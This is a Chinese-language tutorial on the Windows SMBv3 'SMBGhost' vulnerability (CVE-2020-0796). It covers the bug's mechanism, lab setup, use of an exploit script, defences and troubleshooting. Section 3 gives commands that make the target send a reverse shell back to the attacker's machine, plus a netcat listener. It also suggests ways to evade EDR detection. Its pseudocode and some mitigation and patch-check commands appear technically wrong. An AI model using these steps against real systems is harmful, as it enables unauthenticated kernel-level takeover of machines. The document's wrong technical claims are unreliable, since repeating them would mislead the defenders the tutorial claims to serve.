1. 项目概述与核心价值“永恒之黑”这个代号在信息安全圈里尤其是Windows系统安全研究领域几乎无人不晓。它不是一个单一的漏洞而是一个代号为CVE-2020-0796的严重安全缺陷存在于Windows 10和Windows Server 2019的SMBv3协议实现中。我第一次在内部通报里看到这个漏洞的细节时心里咯噔一下因为它的利用条件相对宽松影响范围却极广几乎涵盖了当时所有的主流Windows 10版本。对于安全从业者来说理解这个漏洞不仅仅是学习一个攻击案例更是深入理解现代操作系统内核、网络协议栈交互以及漏洞挖掘与利用链路的绝佳样本。这个漏洞的核心简单来说是微软在实现SMBv3.1.1协议的压缩功能时对数据包解压后的缓冲区处理存在逻辑错误。攻击者可以精心构造一个畸形的压缩数据包诱使系统在解压时发生缓冲区溢出从而获得在系统内核级别执行任意代码的能力。这意味着攻击者一旦成功利用就能完全掌控目标机器。从防御视角看分析它可以帮助我们构建更有效的入侵检测规则和主机加固策略从研究或授权的渗透测试视角看掌握其原理和利用方法则是检验内网安全纵深防御能力的“试金石”。无论你是安全运维工程师、红队成员还是对系统底层安全感兴趣的技术爱好者吃透“永恒之黑”都能让你的技术视野和实践能力提升一个档次。2. 漏洞原理深度拆解SMBv3压缩机制之殇要真正理解CVE-2020-0796我们不能停留在“缓冲区溢出”这个泛泛的概念上必须深入到SMBv3.1.1协议和Windows内核的srv2.sys驱动中去。2.1 SMBv3.1.1压缩功能的工作流程服务器消息块SMB协议是Windows网络文件和打印机共享的基石。SMBv3.1.1引入了对数据压缩的支持旨在减少网络传输量提升大文件传输效率。其标准流程是发送方客户端或服务器在发送SMB数据包时如果数据符合压缩条件例如超过一定大小会使用LZ77Huffman等算法进行压缩并在数据包头部设置一个标志位SMB3_COMPRESSED同时附上压缩前原始数据的大小OriginalSize和压缩后数据的大小CompressedSize。接收方同样是客户端或服务器的srv2.sys驱动在收到数据包后会检查这个标志位。如果发现是压缩数据包它会根据CompressedSize分配一个临时缓冲区用于存放压缩数据解压后再根据OriginalSize分配最终缓冲区将解压后的数据拷贝进去供上层处理。2.2 漏洞产生的根本原因逻辑与算术的错位漏洞就出在上述分配和拷贝的逻辑中。在受影响的srv2.sys驱动版本里存在一段关键代码其伪逻辑如下// 伪代码展示问题逻辑 void Srv2DecompressData(SMB_PACKET *packet) { ULONG originalSize packet-OriginalSize; ULONG compressedSize packet-CompressedSize; PUCHAR compressedBuf AllocateBuffer(compressedSize); // 分配压缩数据缓冲区 // ... 将网络数据读入 compressedBuf ... // 错误发生在计算解压后缓冲区偏移时 ULONG offset originalSize - compressedSize; // 关键点 PUCHAR finalBuf AllocateBuffer(originalSize offset); // 这里分配的大小错了 // 解压 compressedBuf 到 finalBuf Decompress(compressedBuf, finalBuf); // ... 后续处理 ... }问题在于第7行offset originalSize - compressedSize。在正常情况下对于压缩数据originalSize原始未压缩大小应该大于compressedSize压缩后大小所以offset是一个正数。然后第8行分配缓冲区时计算的大小是originalSize offset这等价于originalSize (originalSize - compressedSize) 2 * originalSize - compressedSize。致命假设这段代码隐含地假设了originalSize永远大于compressedSize。但如果攻击者构造一个数据包将OriginalSize字段设置为一个比CompressedSize更小的值呢那么offset就会变成一个负数。在C语言中ULONG无符号长整型存储负数时会变成一个巨大的正数因为使用补码表示。例如设置OriginalSize 0x10CompressedSize 0x1000那么offset 0x10 - 0x1000 -0xff0在ULONG下就是0xffffffff - 0xff0 1一个接近4GB的巨大数值。于是第8行AllocateBuffer(originalSize offset)就会尝试分配一个超大的内存例如0x10 一个巨大值这通常会导致分配失败或者分配到一个与预期完全不同的内存区域。然而真正的崩溃点不在这里而在于后续。2.3 从计算错误到缓冲区溢出微软在分配finalBuf时可能使用了ExAllocatePoolWithTag等内核池分配函数。当传入一个被篡改后异常巨大的大小时分配行为是未定义的。在某些情况下它可能返回一个比originalSize小得多的缓冲区。但关键在于无论实际分配了多大的缓冲区后续的Decompress函数都会忠实地尝试将compressedBuf中的数据解压到finalBuf中并且解压的目标长度是基于originalSize来计算的。这就导致了经典的缓冲区溢出目标缓冲区finalBuf的实际大小可能远小于解压数据所需的空间originalSize。解压操作会毫无节制地向finalBuf写入数据覆盖其后的内核内存包括关键的数据结构、函数指针等最终引发系统崩溃蓝屏或被精心构造的数据转化为任意代码执行。注意这里省略了具体的反汇编和寄存器操作细节但核心在于通过精确控制OriginalSize和CompressedSize以及压缩数据本身的内容攻击者可以操控溢出发生的长度和覆盖的内存内容从而劫持控制流例如覆盖函数返回地址或对象指针指向攻击者放置在内存中的Shellcode。2.4 漏洞利用的特殊性无需身份验证这是“永恒之黑”另一个危险之处。SMB服务通常运行在445端口。利用此漏洞发起攻击不需要任何身份验证。攻击者只需要能够通过网络访问到目标机器的445端口发送一个精心构造的畸形SMBv3压缩请求包就有可能触发漏洞。这使得它成为蠕虫传播的理想载体想象一下一旦漏洞利用代码被武器化它可以在内网中像野火一样蔓延危害性堪比当年的“永恒之蓝”。3. 实战环境搭建与漏洞复现警示郑重声明以下内容仅用于授权下的安全研究、教学或个人学习环境测试。任何未经授权对他人系统进行攻击测试的行为都是非法的将面临法律严惩。3.1 实验环境配置为了安全地研究这个漏洞你需要一个完全隔离的实验室环境。靶机准备系统版本必须选择受影响的Windows 10或Windows Server 2019版本。具体是1903和1909两个内核版本。你可以从微软官方渠道下载这些版本的ISO镜像。安装与配置在虚拟机如VMware Workstation或VirtualBox中安装系统。安装时确保网络设置为“仅主机模式”或“NAT模式”并与攻击机网络隔离。安装完成后务必禁用Windows Defender的实时保护和防火墙仅实验环境以免干扰漏洞利用过程。同时确认SMB服务正在运行默认是开启的。关键步骤不要打补丁安装系统后切勿运行Windows Update。你需要手动检查系统是否已修复。在PowerShell中运行Get-SmbServerConfiguration | Select-Object EnableCompression可以查看SMB压缩是否启用。更直接的方法是查看srv2.sys的版本1903/1909未打补丁的版本号是10.0.18362.xxx或10.0.18363.xxx打了KB4551762补丁后版本号会更新。攻击机准备通常使用Kali Linux或Parrot OS等渗透测试发行版。同样安装在虚拟机中确保与靶机在同一虚拟网络内如都设置为VMnet仅主机网络。安装必要的工具例如Python3、Git、以及后续会用到的漏洞利用脚本依赖库。网络隔离这是最重要的安全措施。你的实验虚拟机集群必须与你的物理主机网络、公司网络或互联网完全断开。使用虚拟网络编辑功能创建一个独立的虚拟网络如VMnet2将靶机和攻击机的网络适配器都挂载到这个网络上。3.2 漏洞利用脚本解析与使用在GitHub等开源平台上可以找到多个CVE-2020-0796的验证和利用脚本如CVE-2020-0796.py。使用这些脚本需要极其谨慎。脚本工作原理一个典型的利用脚本会执行以下步骤建立连接与靶机的445端口建立TCP连接。协商SMBv3.1.1通过SMB协议协商确保双方使用支持压缩的SMBv3.1.1版本。构造畸形数据包按照我们前面分析的原理精心设置SMB2_COMPRESSION_TRANSFORM_HEADER中的OriginalSize和CompressedSize字段使其满足OriginalSize CompressedSize的条件。同时压缩数据块CompressedData的内容也需要精心构造通常包含用于覆盖内核内存的ROP链和Shellcode。发送并触发发送这个畸形数据包。如果靶机存在漏洞内核srv2.sys会错误处理该包导致缓冲区溢出并执行嵌入在数据包中的Shellcode。利用结果成功的利用可能会实现本地权限提升LPE或远程代码执行RCE。常见的利用结果是反弹一个具有SYSTEM权限的Shell回连到攻击机。实操命令与参数# 示例假设脚本名为exploit.py实际参数可能不同 python3 exploit.py -t 192.168.2.10 # 对靶机IP进行漏洞检测 python3 exploit.py -t 192.168.2.10 -p 4444 -r 192.168.2.5 # 尝试利用让靶机向攻击机(192.168.2.5)的4444端口反弹Shell在攻击机上你需要提前用Netcat监听相应端口nc -lvnp 4444。核心风险与注意事项系统崩溃风险利用过程极不稳定很容易导致靶机蓝屏CRITICAL_PROCESS_DIED或SYSTEM_SERVICE_EXCEPTION等错误。这不是脚本问题而是内核漏洞利用的固有风险。务必在虚拟机中操作并随时准备快照恢复。杀软干扰即使在内网靶机上的安全软件也可能拦截恶意流量或进程行为导致利用失败。依赖版本公开的利用脚本往往针对特定的Windows 10 1903/1909版本构建。不同的小版本号如18362.535 vs 18362.657可能因内核结构体偏移量不同而导致利用失败需要调整脚本中的偏移量参数。这需要一定的逆向工程能力。4. 防御措施与缓解方案实战理解攻击是为了更好的防御。对于仍然需要运行受影响版本系统的环境虽然强烈建议升级可以采取以下层层递进的防御措施。4.1 根本解决方案打补丁与升级这是最有效、最彻底的方法。微软早已发布安全更新KB4551762修复此漏洞。操作对于Windows 10 1903/1909直接通过Windows Update安装所有最新更新即可。对于服务器应在维护窗口内及时更新。验证更新后srv2.sys文件版本号会提升。也可以通过官方提供的PowerShell命令Get-SmbServerConfiguration | Select-Object EnableCompression如果命令执行成功且显示压缩配置说明补丁已生效补丁修改了逻辑而非简单禁用功能。4.2 临时缓解措施禁用SMBv3压缩如果因兼容性等原因无法立即安装补丁可以禁用SMBv3的压缩功能来阻断利用路径。PowerShell命令# 以管理员身份运行PowerShell Set-SmbServerConfiguration -Compress $false效果与局限此命令修改注册表重启后生效。它能有效防御基于压缩机制的攻击。但是这只是一个缓解措施并非根本修复。系统仍然存在有漏洞的srv2.sys驱动文件未来若发现其他不依赖压缩的触发方式系统依然脆弱。4.3 网络层防护防火墙与入侵检测在网络边界和关键主机上实施访问控制。主机防火墙在非必要的服务器和工作站上于Windows防火墙中创建入站规则阻止TCP 445端口。这能完全隔绝来自外部的SMB攻击。注意这会影响域内文件共享、打印机共享等功能需评估业务影响。网络防火墙在企业网络边界严格限制从互联网到内部445端口的访问。入侵检测系统IDS可以部署Snort、Suricata等IDS加载针对CVE-2020-0796的检测规则。规则通常基于畸形SMB数据包中OriginalSize和CompressedSize字段的异常关系进行特征匹配。例如一个经典的Snort规则会检测OriginalSize字段值是否小于CompressedSize。4.4 深度防御攻击面减少与权限控制关闭不必要的服务对于绝对不需要SMB服务的服务器如Web服务器直接在“服务”管理器中禁用“Server”服务。最小权限原则确保运行SMB服务的账户通常是SYSTEM遵循最小权限原则。虽然漏洞在内核层但后续的渗透往往需要横向移动严格的本地和网络权限控制能有效遏制攻击扩散。启用控制流防护CFG现代Windows系统默认启用CFG等缓解技术。虽然“永恒之黑”的利用链可能绕过部分缓解但开启所有可用的安全缓解措施如DEP, ASLR总能增加攻击者的利用难度。5. 从“永恒之黑”看漏洞研究与学习路径分析完一个重量级漏洞我们不妨跳出来看看它能给我们个人的技术成长带来什么。5.1 漏洞研究的方法论启示“永恒之黑”是一个典型的内核模式驱动程序漏洞。研究它我们实践了一套标准的漏洞分析方法信息收集从CVE编号、安全公告、影响范围开始。补丁对比对比修复前后的srv2.sys驱动文件是定位漏洞关键代码最直接的方法。使用IDA Pro或Ghidra进行二进制比对。原理分析结合补丁差异和协议文档如MS-SMB2动态调试WinDbg附加分析与静态分析结合理清漏洞触发逻辑。利用构造理解漏洞的“原语”如越界写思考如何将其转化为内存地址泄露、任意地址写/读最终完成代码执行。防御规避思考如何绕过CFG、ACG等现代缓解措施这需要更深入的内核知识。5.2 对红队与蓝队的价值对于红队“永恒之黑”是一个珍贵的内网横向移动武器。在授权的渗透测试中它可以用来验证内网中是否存在未及时修补的高危系统评估一旦边界被突破内网沦陷的速度和范围。掌握它要求红队成员具备内核调试、Exploit开发调试的能力。对于蓝队这是编写高质量检测规则的绝佳案例。你可以基于漏洞原理在终端EDR层面监控srv2.sys驱动模块的异常行为如异常大的内存分配尝试在网络层面部署我们前面提到的特征检测。更重要的是它推动了补丁管理流程的严格化凸显了主机加固禁用非必要服务的重要性。5.3 常见复现问题与排查记录在实际复现过程中你大概率会遇到以下问题问题现象可能原因排查与解决思路脚本执行后靶机无反应攻击机连接超时1. 网络不通。2. 靶机SMB服务未开启或端口被防火墙阻止。3. 靶机系统版本不对已打补丁或非受影响版本。1. 检查虚拟网络设置确保攻击机和靶机IP互通ping。2. 在靶机上运行Get-Service LanmanServer查看Server服务状态用Test-NetConnection -ComputerName localhost -Port 445测试本地端口。3. 确认系统版本号检查srv2.sys文件版本。脚本执行后靶机立即蓝屏1. 利用不稳定Shellcode或ROP链与当前系统版本不匹配。2. 脚本本身存在问题或参数错误。1. 这是内核漏洞利用的常态。恢复快照尝试使用其他更稳定或注明版本号的利用脚本。2. 使用WinDbg双机调试分析蓝屏Dump文件查看崩溃时的寄存器状态和栈回溯定位问题点。脚本显示利用成功但反弹Shell未收到1. 攻击机防火墙阻止了入站连接。2. 靶机出站连接被其自身防火墙或安全软件拦截。3. Shellcode执行流程被EDR等安全产品阻断。1. 关闭攻击机防火墙或放行对应端口。2. 在靶机上临时禁用防火墙和实时监控。3. 尝试使用更隐蔽的Shellcode加载方式或检查利用脚本是否支持多种Payload如Meterpreter以绕过检测。使用-t参数检测显示“Not Vulnerable”1. 系统已打补丁。2. 检测脚本的原理可能被缓解措施干扰。3. 网络中间设备修改了SMB数据包。1. 这是最好的结果说明系统安全。2. 尝试使用基于不同检测原理的脚本进行交叉验证。3. 在纯净的网络环境中测试。一个关键的实操心得在内核漏洞利用中稳定性往往比成功率更重要。一个能稳定导致蓝屏的利用好过一个时灵时不灵的利用。因为蓝屏至少证明了漏洞触发的路径是通的后续可以集中精力稳定利用链。在调试时多使用虚拟机快照从最简单的崩溃证明POC开始逐步添加利用代码每步都验证能极大提升调试效率。研究像“永恒之黑”这样的漏洞就像在解一个复杂而精密的谜题。它考验的不仅仅是你的逆向工程和编程能力更是对操作系统底层机制的深刻理解。每一次分析、每一次调试失败、每一次成功的复现都会让你对“安全”二字有更立体的认识。把这个漏洞吃透它就会成为你知识体系里一块坚实的基石未来在面对其他复杂漏洞时你会发现自己多了一份从容和清晰的思路。